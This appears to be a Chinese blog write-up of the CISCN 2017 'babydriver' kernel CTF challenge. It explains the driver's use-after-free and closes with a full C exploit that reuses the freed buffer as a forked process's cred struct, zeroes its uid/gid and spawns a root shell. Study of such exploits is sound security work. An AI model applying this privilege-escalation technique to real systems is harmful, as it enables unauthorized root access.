初探Linux内核UAF

初接触内核漏洞利用的学习,记录的会比较详细。这里用的是2017年全国大学生信息安全竞赛的babydriver,这是一个很简单的Linux内核UAF漏洞。这是开启了SMEP保护的,本文中我用了常规的UAF修改cred结构体来完成提权,因此并不需要绕过SMEP。

参考资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

Linux内核的一些基础:ctf-wikiMy blog - 初探LinuxLinux VFS虚拟文件系统My blog - Linux内核-进程、线程初探

题目

题目:题目链接-babydriver.tar

解压缩,看看有啥:

1
2
mkdir babydriver
tar -xvf ./babydriver.tar -C ./babydriver

解压出三个文件:

  • boot.sh:QEMU启动脚本
  • bzImage: bzImage是vmlinuz经过gzip压缩后的文件,适用于大内核,启动现代Linux系统时,实际运行的即为bzImage kernel文件。
  • rootfs.cpio:文件系统镜像

解压rootfs.cpio看看文件系统里有什么文件:

1
2
3
4
5
mkdir fs
cp ./rootfs.cpio ./fs/rootfs.cpio.gz
cd fs
gunzip ./rootfs.cpio.gz
cpio -idmv < ./rootfs.cpio

有一个init文件,用于启动内核后初始化,查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

可以看到,insmodbabydriver.ko安装进了内核,这个就是存在漏洞的LKMs了,稍后要分析的就是它,先将它拿出来,稍后分析。

最后一行有一个poweroff,有的题目会用这个命令设置定时关闭,将它删掉,重新打包后,起系统后就不会定时关掉了。这里的话没有定时关闭,可以不管他。

重新打包:

1
2
find . | cpio -o --format=newc > ./rootfs.cpio
cp ./rootfs.cpio ../rootfs.cpio

驱动分析

babydriber.ko/lib/modules/4.4.72/拿出来。

没有开启PIE和canary,并且带有符号表。

1、babyrelease

释放掉babydev_struct中的buf,并且没有将结构体中存储的指针和size置零。

babydev_struct的类型定义如下,第一个字段是buf,第二个字段是buf的大小。

2、babyopen

其中,kmem_cache_alloc_trace()在源码中的定义如下:

它在kmalloc()中被最终调用,很可能是编译时进行了优化

因此,babyopen的功能就是申请一块0x40大小的内存,然后给babydev_struct结构体的buf和len赋相应的值。

3、babyioctl

定义了一个命令0x10001,释放掉babydev_struct.device_buf中存储的buf,然后根据用户提供的size重新申请,并给babydev_struct.device_buf重新赋值。

4、babywrite

babydev_struct的buf中写东西,即将用户空间的数据写进内核空间

5、babyread

babydev_struct的buf中读取内容到用户空间的buffer

6、abydriver_init

对设备进行了初始化工作,查一下函数的用法理解即可。

alloc_chrdev_regioncdev_initcdev_add_class_createdevice_create

漏洞点

babyrelease()中,由于释放后没有将结构体指针置零,而且对设备的访问并没有互斥操作,存在UAF漏洞。

例如,如果同时打开两次设备,由于放有内存指针的babydec_struct是全局变量,第二次打开babydev的时候,会覆盖掉第一次打开的babydev的babydev_struct。那么如果在第一个中release掉,而在第二个中仍能这块已释放的内存其进行操作,即形成了UAF释放后重用。

UAF exploit

通过UAF,修改进程的cred结构体以提升到root权限

  • 打开两次babydev设备,并通过ioctl将buf的大小修改为0xA8(cred结构体的大小)
  • release掉其中一个,fork一个新进程,则这个新进程的cred就会在刚才释放掉的buf中
  • 同时,通过另外一个打开的babydev的write方法对这个buf进行写操作,将cred结构体的uidgid改为0,即可实现提权到root

确定cred结构体的大小

要确定cred结构体的大小,可以通过源码计算得出,注意要用题目同版本内核的源码,cred结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// linux-4.4.27/include/linux/cred.h

struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

也可以写一个简单驱动,在module_init的时候,用sizof()printk()将大小打印出来就可以了,可以看到,一个cred结构体的大小是168字节(0xA8)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//mydriver.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>

MODULE_LICENSE("Dual BSD/GPL");


static int my_init(void){
printk("Hello Sunxiaokong's baby driver!\n");
printk("Size of struct cred : %ld\n", sizeof(struct cred));
printk("Size of type atomic_t : %ld\n", sizeof(atomic_t));
printk("Size of type void* : %ld\n", sizeof(void*));
printk("Size of type unsigned : %ld\n", sizeof(unsigned));
printk("Size of type kuid_t : %ld\n", sizeof(kuid_t));
return 0;
}

static void my_exit(void){
printk("Goodbye, baby driver!\n");
}

module_init(my_init);
module_exit(my_exit);

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//CISCN2017-babydriver
//sunxiaokong
//gcc -static -o exploit exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main(){
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// change the babydev_struct.device_buf
// the buf_size = sizeof(struct cred)
ioctl(fd1, 0x10001, 0xA8);

// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);

// fork a new process
// the new process's cred will in the babydev_struct.device_buf
int pid = fork();
if(pid<0){
puts("[T.T] fork failed !!!");
exit(0);
}
else if(pid==0){
long root_cred[4] = {0};
// overwrite the uid, gid to zero
write(fd2, root_cred, 28);
// have a root shell
system("/bin/sh");
}
else{
wait(NULL);
}
return 0;
}

gcc -static -o exploit exploit.c编译,这里用的是静态编译,因为系统环境中没有libc

将编译出的exploit重新放进文件系统中打包find . | cpio -o --format=newc > ./rootfs.cpio

可以看到,运行exploit后,从普通用户变成了root用户,提权成功。

0%